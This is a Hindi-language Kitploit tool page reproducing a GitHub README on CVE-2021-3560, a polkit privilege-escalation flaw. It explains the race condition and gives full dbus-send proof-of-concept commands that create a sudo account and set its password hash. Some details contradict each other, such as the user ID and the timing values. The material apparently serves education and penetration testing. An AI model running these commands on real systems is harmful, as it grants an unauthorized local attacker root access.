Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-3560 — CVE-2021-3560 polkit भेद्यता का शोषण | Kitploit
उपकरण/GitHubGitHub/lucaspdiniz/cve-2021-3560
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षारेड टीमिंग
GitHublucaspdiniz/cve-2021-3560

CVE-2021-3560

CVE-2021-3560 polkit भेद्यता का शोषण

रिपॉजिटरी देखें
2112 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Polkit भेद्यता - CVE-2021-3560 📕

  • परिचय

2021 में, केविन बैकहाउस नाम के एक शोधकर्ता ने polkit उपयोगिता में एक विशेषाधिकार वृद्धि भेद्यता की खोज की। हालांकि, सभी लिनक्स संस्करण polkit के प्रति संवेदनशील नहीं हैं।

नीचे एक संवेदनशील संस्करण का उदाहरण दिया गया है;

  • Red Hat Enterprise Linux 8
  • Fedora 21 (या बाद का)
  • Debian Testing ("Bullseye")
  • Ubuntu 20.04 LTS ("Focal Fossa")

लिनक्स के सबसे आधुनिक संस्करणों में पहले से ही इस भेद्यता का सुधार मौजूद है, हालांकि, ऊपर बताए गए पुराने संस्करणों में अभी भी यह भेद्यता मौजूद है।

लेकिन Polkit क्या है ❓

Polkit एक सिस्टम सेवा है जो कई लिनक्स वितरणों पर डिफ़ॉल्ट रूप से स्थापित होती है। इसका उपयोग systemd द्वारा किया जाता है, इसलिए कोई भी लिनक्स वितरण जो systemd का उपयोग करता है, वह polkit का भी उपयोग करता है।

Polkit वह सिस्टम सेवा है जो पर्दे के पीछे चल रही होती है जब आप एक डायलॉग बॉक्स देखते हैं, उदाहरण;

यदि कभी भी आपको अनुमतियाँ बदलने या उच्च विशेषाधिकारों की आवश्यकता वाला कुछ करने की आवश्यकता होती है, जैसे कि उपयोगकर्ता खाता बनाना, तो Polkit उस कार्रवाई को अनुमति देने या अस्वीकार करने के लिए जिम्मेदार होता है।

इस भेद्यता का प्रभाव क्या है ❓

CVE-2021-3560 एक अविश्वसनीय स्थानीय हमलावर को रूट विशेषाधिकार प्राप्त करने में सक्षम बनाता है। इसका शोषण करना बहुत सरल और त्वरित है, इसलिए यह महत्वपूर्ण है कि आप अपने लिनक्स इंस्टॉलेशन को जल्द से जल्द अपडेट करें। कोई भी सिस्टम जिसमें polkit संस्करण 0.113 (या बाद का) स्थापित है, वह संवेदनशील है। इसमें RHEL 8 और Ubuntu 20.04 जैसे लोकप्रिय वितरण शामिल हैं।

Polkit कैसे कमजोर है ❓

dbus-daemon को मैन्युअल रूप से dbus संदेश भेजकर (प्रभावी रूप से एक API जो विभिन्न प्रक्रियाओं को एक-दूसरे के साथ संवाद करने की क्षमता देता है), फिर अनुरोध को पूरी तरह से संसाधित होने से पहले मारकर, हम polkit को कमांड को अधिकृत करने के लिए धोखा दे सकते हैं।

dbus-daemon क्या है ❓

dbus-daemon एक प्रोग्राम है जो पृष्ठभूमि में चलता है और एप्लिकेशन के बीच संदेशों की मध्यस्थता करता है।

मूल रूप से इस भेद्यता का दोहन निम्नलिखित चरणों का पालन करके किया जाएगा;

  1. हमलावर मैन्युअल रूप से accounts-daemon को एक dbus संदेश भेजता है जिसमें sudo अनुमतियों (या बाद में, नए उपयोगकर्ता के लिए एक पासवर्ड सेट करने) के साथ एक नया खाता बनाने का अनुरोध किया जाता है। इस संदेश को dbus-daemon द्वारा एक अद्वितीय आईडी दी जाती है।

  2. हमलावर polkit द्वारा संदेश प्राप्त करने के बाद, लेकिन polkit द्वारा संदेश को संसाधित करने का मौका मिलने से पहले, संदेश को मार देता है। यह प्रभावी रूप से अद्वितीय संदेश आईडी को नष्ट कर देता है।

  3. Polkit dbus-daemon से उस संदेश को भेजने वाले उपयोगकर्ता की उपयोगकर्ता आईडी के लिए पूछता है, जो अब हटाई गई संदेश आईडी का संदर्भ देता है।

  4. dbus-daemon संदेश आईडी नहीं ढूंढ पाता क्योंकि हमने इसे चरण दो में मार दिया था। यह त्रुटि को एक त्रुटि कोड के साथ प्रतिक्रिया देकर संभालता है।

  5. Polkit त्रुटि को गलत तरीके से संभालता है और उपयोगकर्ता आईडी के लिए 0 को प्रतिस्थापित करता है - यानी मशीन का रूट खाता।

  6. यह सोचकर कि रूट उपयोगकर्ता ने कार्रवाई का अनुरोध किया है, polkit अनुरोध को बिना चुनौती के आगे बढ़ने देता है।

संक्षेप में, dbus-daemon द्वारा polkit को सही आईडी देने का मौका मिलने से पहले संदेश आईडी को नष्ट करके, हम polkit में खराब त्रुटि-प्रबंधन का शोषण करते हैं ताकि उपयोगिता को यह सोचने पर मजबूर किया जा सके कि अनुरोध सर्वशक्तिमान रूट उपयोगकर्ता द्वारा किया गया था।

अभ्यास - POC

  1. आइए एक नया उपयोगकर्ता lucas जोड़ें, जिसमें sudo अनुमतियाँ हों, और एक पासवर्ड banana हो।

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1

इस मामले में, उपयोगकर्ता lucas बनाने का प्रयास करने पर, हमें एक संदेश मिलता है कि हमारे पास अनुमति नहीं है (प्रमाणीकरण आवश्यक है)।

यह कमांड मैन्युअल रूप से accounts डेमॉन को एक dbus संदेश भेजेगा, प्रतिक्रिया प्रिंट करेगा और lucas(string:lucas) नाम का एक नया उपयोगकर्ता बनाएगा, जिसमें "test vulns" (string:"test vulns") का विवरण और int32:1 द्वारा संदर्भित sudo समूह की सदस्यता सही पर सेट होगी।

  1. चूंकि यह प्रभावी रूप से एक रेस कंडीशन है, इसलिए हमें पहले यह निर्धारित करना होगा कि हमारा कमांड चलने में कितना समय लेगा। आइए पहले dbus संदेश के साथ इसे आज़माएँ:

root@kitploit:~
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1

इस मामले में, हम चरण 1 के समान उपयोगकर्ता निर्माण कमांड का उपयोग करते हैं, हालांकि, हम इस कमांड का समय लौटाने के लिए 'time' फ़ंक्शन का उपयोग करते हैं।

इसमें 0.011 सेकंड लगते हैं। जब भी आप कमांड चलाएंगे तो यह संख्या थोड़ी भिन्न होगी।

  1. हमें कमांड को लगभग आधे निष्पादन पर मारने की आवश्यकता है। आइए 0.005 सेकंड के साथ प्रक्रिया को बाधित करने का प्रयास करें, ठीक है? (यह मान प्रत्येक मामले के लिए बदलता है)।

आइए इसे आज़माएँ। हमें dbus संदेश भेजना होगा, फिर इसे लगभग आधे रास्ते में मारना होगा:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1 & sleep 0.005s; kill $!

हमने dbus संदेश को पृष्ठभूमि कार्य में भेजा (कमांड को पृष्ठभूमि में ले जाने के लिए एम्परसेंड का उपयोग करके)। फिर हमने इसे 0.005 मिलीसेकंड के लिए सोने का निर्देश दिया, फिर पिछली प्रक्रिया ($!) को मार दिया। इसने सफलतापूर्वक नया उपयोगकर्ता बनाया, उसे sudo समूह में जोड़ा। हमें इस बिंदु पर ध्यान देना चाहिए कि इस उदाहरण में नए उपयोगकर्ता की उपयोगकर्ता आईडी 1000 है।

  1. हमें यहां एक पासवर्ड हैश की आवश्यकता है, तो आइए अपने चुने हुए पासवर्ड (banana) के लिए एक Sha512Crypt हैश उत्पन्न करें:

openssl का उपयोग करके, हम टाइप 6 (SHA512-crypt) का एक पासवर्ड और अपना सादा टेक्स्ट पासवर्ड उत्पन्न करते हैं।

  1. 0.135 मिलीसेकंड काम कर गया, तो आइए फिर से प्रयास करें

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$jErqxzPvzrnXP8uC$j8p1DAuEMe0mnM8Pkm3VkVPL5fPWk7c0fFuZkLCi8/hTb5a/ATZjfwHSwEbhQFZR98xWemFWQHEGaTr8KcKaz0' string:'test vulns' & sleep 0.005s; kill $!

इस मामले में हम ऊपर दिए गए चरणों में बनाई गई आईडी 1005 के लिए एक पासवर्ड (banana) शामिल कर रहे हैं।

Polkit सुधार ✔️

यह भेद्यता सार्वजनिक रूप से प्रकट की गई थी, और इसका सुधार 3 जून, 2021 को जारी किया गया था और इसे CVE-2021-3560 निर्दिष्ट किया गया था।

अपनी मशीन के अपडेट को yum/apt update/upgrade. से जांचें।

टूल डाउनलोड करें